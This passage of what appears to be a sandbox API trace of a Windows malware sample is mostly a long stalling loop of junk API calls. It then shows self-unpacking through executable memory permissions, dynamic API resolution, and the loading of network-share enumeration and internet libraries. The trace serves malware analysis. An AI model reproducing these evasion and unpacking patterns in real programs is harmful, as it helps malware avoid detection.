hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.923] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.923] GetMessageExtraInfo () returned 0x0 [0026.923] GetLastError () returned 0x578 [0026.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.923] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.923] GetMessageExtraInfo () returned 0x0 [0026.923] GetLastError () returned 0x578 [0026.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.923] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.923] GetMessageExtraInfo () returned 0x0 [0026.923] GetLastError () returned 0x578 [0026.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.923] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.923] GetMessageExtraInfo () returned 0x0 [0026.923] GetLastError () returned 0x578 [0026.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.923] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.923] GetMessageExtraInfo () returned 0x0 [0026.923] GetLastError () returned 0x578 [0026.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.923] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.923] GetMessageExtraInfo () returned 0x0 [0026.923] GetLastError () returned 0x578 [0026.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.924] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.924] GetMessageExtraInfo () returned 0x0 [0026.924] GetLastError () returned 0x578 [0026.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.924] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.924] GetMessageExtraInfo () returned 0x0 [0026.924] GetLastError () returned 0x578 [0026.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.924] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.924] GetMessageExtraInfo () returned 0x0 [0026.924] GetLastError () returned 0x578 [0026.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.924] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.924] GetMessageExtraInfo () returned 0x0 [0026.924] GetLastError () returned 0x578 [0026.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.924] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.924] GetMessageExtraInfo () returned 0x0 [0026.924] GetLastError () returned 0x578 [0026.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.924] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.924] GetMessageExtraInfo () returned 0x0 [0026.924] GetLastError () returned 0x578 [0026.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.924] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.924] GetMessageExtraInfo () returned 0x0 [0026.924] GetLastError () returned 0x578 [0026.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.924] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.924] GetMessageExtraInfo () returned 0x0 [0026.924] GetLastError () returned 0x578 [0026.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.924] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.924] GetMessageExtraInfo () returned 0x0 [0026.924] GetLastError () returned 0x578 [0026.924] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.924] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.924] GetMessageExtraInfo () returned 0x0 [0026.924] GetLastError () returned 0x578 [0026.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.925] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.925] GetMessageExtraInfo () returned 0x0 [0026.925] GetLastError () returned 0x578 [0026.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.925] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.925] GetMessageExtraInfo () returned 0x0 [0026.925] GetLastError () returned 0x578 [0026.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.925] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.925] GetMessageExtraInfo () returned 0x0 [0026.925] GetLastError () returned 0x578 [0026.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.925] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.925] GetMessageExtraInfo () returned 0x0 [0026.925] GetLastError () returned 0x578 [0026.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.925] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.925] GetMessageExtraInfo () returned 0x0 [0026.925] GetLastError () returned 0x578 [0026.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.925] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.925] GetMessageExtraInfo () returned 0x0 [0026.925] GetLastError () returned 0x578 [0026.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.925] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.925] GetMessageExtraInfo () returned 0x0 [0026.925] GetLastError () returned 0x578 [0026.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.925] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.925] GetMessageExtraInfo () returned 0x0 [0026.925] GetLastError () returned 0x578 [0026.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.925] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.925] GetMessageExtraInfo () returned 0x0 [0026.925] GetLastError () returned 0x578 [0026.925] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.925] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.925] GetMessageExtraInfo () returned 0x0 [0026.926] GetLastError () returned 0x578 [0026.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.926] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.926] GetMessageExtraInfo () returned 0x0 [0026.926] GetLastError () returned 0x578 [0026.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.926] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.926] GetMessageExtraInfo () returned 0x0 [0026.926] GetLastError () returned 0x578 [0026.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.926] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.926] GetMessageExtraInfo () returned 0x0 [0026.926] GetLastError () returned 0x578 [0026.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.926] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.926] GetMessageExtraInfo () returned 0x0 [0026.926] GetLastError () returned 0x578 [0026.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.926] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.926] GetMessageExtraInfo () returned 0x0 [0026.926] GetLastError () returned 0x578 [0026.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.926] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.926] GetMessageExtraInfo () returned 0x0 [0026.926] GetLastError () returned 0x578 [0026.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.926] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.926] GetMessageExtraInfo () returned 0x0 [0026.926] GetLastError () returned 0x578 [0026.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.926] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.926] GetMessageExtraInfo () returned 0x0 [0026.926] GetLastError () returned 0x578 [0026.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.926] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.926] GetMessageExtraInfo () returned 0x0 [0026.926] GetLastError () returned 0x578 [0026.926] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.926] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.927] GetMessageExtraInfo () returned 0x0 [0026.927] GetLastError () returned 0x578 [0026.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.927] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.927] GetMessageExtraInfo () returned 0x0 [0026.927] GetLastError () returned 0x578 [0026.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.927] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.927] GetMessageExtraInfo () returned 0x0 [0026.927] GetLastError () returned 0x578 [0026.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.927] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.927] GetMessageExtraInfo () returned 0x0 [0026.927] GetLastError () returned 0x578 [0026.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.927] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.927] GetMessageExtraInfo () returned 0x0 [0026.927] GetLastError () returned 0x578 [0026.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.927] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.927] GetMessageExtraInfo () returned 0x0 [0026.927] GetLastError () returned 0x578 [0026.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.927] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.927] GetMessageExtraInfo () returned 0x0 [0026.927] GetLastError () returned 0x578 [0026.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.927] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.927] GetMessageExtraInfo () returned 0x0 [0026.927] GetLastError () returned 0x578 [0026.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.927] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.927] GetMessageExtraInfo () returned 0x0 [0026.927] GetLastError () returned 0x578 [0026.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.927] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.927] GetMessageExtraInfo () returned 0x0 [0026.927] GetLastError () returned 0x578 [0026.927] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.927] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.928] GetMessageExtraInfo () returned 0x0 [0026.928] GetLastError () returned 0x578 [0026.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.928] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.928] GetMessageExtraInfo () returned 0x0 [0026.928] GetLastError () returned 0x578 [0026.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.928] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.928] GetMessageExtraInfo () returned 0x0 [0026.928] GetLastError () returned 0x578 [0026.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.928] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.928] GetMessageExtraInfo () returned 0x0 [0026.928] GetLastError () returned 0x578 [0026.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.928] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.928] GetMessageExtraInfo () returned 0x0 [0026.928] GetLastError () returned 0x578 [0026.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.928] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.928] GetMessageExtraInfo () returned 0x0 [0026.928] GetLastError () returned 0x578 [0026.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.928] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.928] GetMessageExtraInfo () returned 0x0 [0026.928] GetLastError () returned 0x578 [0026.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.928] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.928] GetMessageExtraInfo () returned 0x0 [0026.928] GetLastError () returned 0x578 [0026.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.928] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.928] GetMessageExtraInfo () returned 0x0 [0026.928] GetLastError () returned 0x578 [0026.928] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.928] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.928] GetMessageExtraInfo () returned 0x0 [0026.928] GetLastError () returned 0x578 [0026.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.929] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.929] GetMessageExtraInfo () returned 0x0 [0026.929] GetLastError () returned 0x578 [0026.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.929] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.929] GetMessageExtraInfo () returned 0x0 [0026.929] GetLastError () returned 0x578 [0026.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.929] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.929] GetMessageExtraInfo () returned 0x0 [0026.929] GetLastError () returned 0x578 [0026.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.929] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.929] GetMessageExtraInfo () returned 0x0 [0026.929] GetLastError () returned 0x578 [0026.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.929] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.929] GetMessageExtraInfo () returned 0x0 [0026.929] GetLastError () returned 0x578 [0026.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.929] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.929] GetMessageExtraInfo () returned 0x0 [0026.929] GetLastError () returned 0x578 [0026.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.929] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.929] GetMessageExtraInfo () returned 0x0 [0026.929] GetLastError () returned 0x578 [0026.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.929] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.929] GetMessageExtraInfo () returned 0x0 [0026.929] GetLastError () returned 0x578 [0026.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.929] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.929] GetMessageExtraInfo () returned 0x0 [0026.929] GetLastError () returned 0x578 [0026.929] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.929] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.929] GetMessageExtraInfo () returned 0x0 [0026.930] GetLastError () returned 0x578 [0026.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.930] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.930] GetMessageExtraInfo () returned 0x0 [0026.930] GetLastError () returned 0x578 [0026.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.930] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.930] GetMessageExtraInfo () returned 0x0 [0026.930] GetLastError () returned 0x578 [0026.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.930] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.930] GetMessageExtraInfo () returned 0x0 [0026.930] GetLastError () returned 0x578 [0026.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.930] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.930] GetMessageExtraInfo () returned 0x0 [0026.930] GetLastError () returned 0x578 [0026.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.930] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.930] GetMessageExtraInfo () returned 0x0 [0026.930] GetLastError () returned 0x578 [0026.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.930] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.930] GetMessageExtraInfo () returned 0x0 [0026.931] GetLastError () returned 0x578 [0026.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.931] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.931] GetMessageExtraInfo () returned 0x0 [0026.931] GetLastError () returned 0x578 [0026.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.931] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.931] GetMessageExtraInfo () returned 0x0 [0026.931] GetLastError () returned 0x578 [0026.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.931] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.931] GetMessageExtraInfo () returned 0x0 [0026.931] GetLastError () returned 0x578 [0026.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.931] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.931] GetMessageExtraInfo () returned 0x0 [0026.931] GetLastError () returned 0x578 [0026.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.931] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.931] GetMessageExtraInfo () returned 0x0 [0026.931] GetLastError () returned 0x578 [0026.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.931] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.931] GetMessageExtraInfo () returned 0x0 [0026.931] GetLastError () returned 0x578 [0026.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.931] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.931] GetMessageExtraInfo () returned 0x0 [0026.931] GetLastError () returned 0x578 [0026.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.931] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.931] GetMessageExtraInfo () returned 0x0 [0026.931] GetLastError () returned 0x578 [0026.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.931] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.931] GetMessageExtraInfo () returned 0x0 [0026.931] GetLastError () returned 0x578 [0026.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.931] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.932] GetMessageExtraInfo () returned 0x0 [0026.932] GetLastError () returned 0x578 [0026.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.932] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.932] GetMessageExtraInfo () returned 0x0 [0026.932] GetLastError () returned 0x578 [0026.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.932] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.932] GetMessageExtraInfo () returned 0x0 [0026.932] GetLastError () returned 0x578 [0026.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.932] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.932] GetMessageExtraInfo () returned 0x0 [0026.932] GetLastError () returned 0x578 [0026.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.932] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.932] GetMessageExtraInfo () returned 0x0 [0026.932] GetLastError () returned 0x578 [0026.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.932] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.932] GetMessageExtraInfo () returned 0x0 [0026.932] GetLastError () returned 0x578 [0026.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.932] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.932] GetMessageExtraInfo () returned 0x0 [0026.932] GetLastError () returned 0x578 [0026.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.932] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.932] GetMessageExtraInfo () returned 0x0 [0026.932] GetLastError () returned 0x578 [0026.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.932] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.932] GetMessageExtraInfo () returned 0x0 [0026.932] GetLastError () returned 0x578 [0026.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.932] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.932] GetMessageExtraInfo () returned 0x0 [0026.932] GetLastError () returned 0x578 [0026.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.933] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.933] GetMessageExtraInfo () returned 0x0 [0026.933] GetLastError () returned 0x578 [0026.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.933] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.933] GetMessageExtraInfo () returned 0x0 [0026.933] GetLastError () returned 0x578 [0026.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.933] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.933] GetMessageExtraInfo () returned 0x0 [0026.933] GetLastError () returned 0x578 [0026.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.933] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.933] GetMessageExtraInfo () returned 0x0 [0026.933] GetLastError () returned 0x578 [0026.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.933] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.629] LocalAlloc (uFlags=0x0, uBytes=0x460f8) returned 0x632180 [0027.711] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0027.712] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0027.712] VirtualProtect (in: lpAddress=0x678280, dwSize=0x348ba, flNewProtect=0x40, lpflOldProtect=0x18d948 | out: lpflOldProtect=0x18d948*=0x4) returned 1 [0027.735] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0027.735] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0027.735] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0027.735] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0027.736] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0027.736] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0027.736] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0027.736] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0027.736] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0027.736] SetErrorMode (uMode=0x400) returned 0x0 [0027.736] SetErrorMode (uMode=0x0) returned 0x400 [0027.736] GetVersionExA (in: lpVersionInformation=0x18c898*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18c898*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0027.736] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0027.743] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18d920 | out: lpflOldProtect=0x18d920*=0x2) returned 1 [0027.761] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.763] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0027.763] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0027.763] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0027.763] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0027.763] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0027.763] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0027.763] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b40000 [0027.871] GetProcAddress (hModule=0x74b40000, lpProcName="WNetCloseEnum") returned 0x74b42dd6 [0027.871] GetProcAddress (hModule=0x74b40000, lpProcName="WNetOpenEnumW") returned 0x74b42f06 [0027.871] GetProcAddress (hModule=0x74b40000, lpProcName="WNetEnumResourceW") returned 0x74b43058 [0027.871] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0030.598] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0030.598] 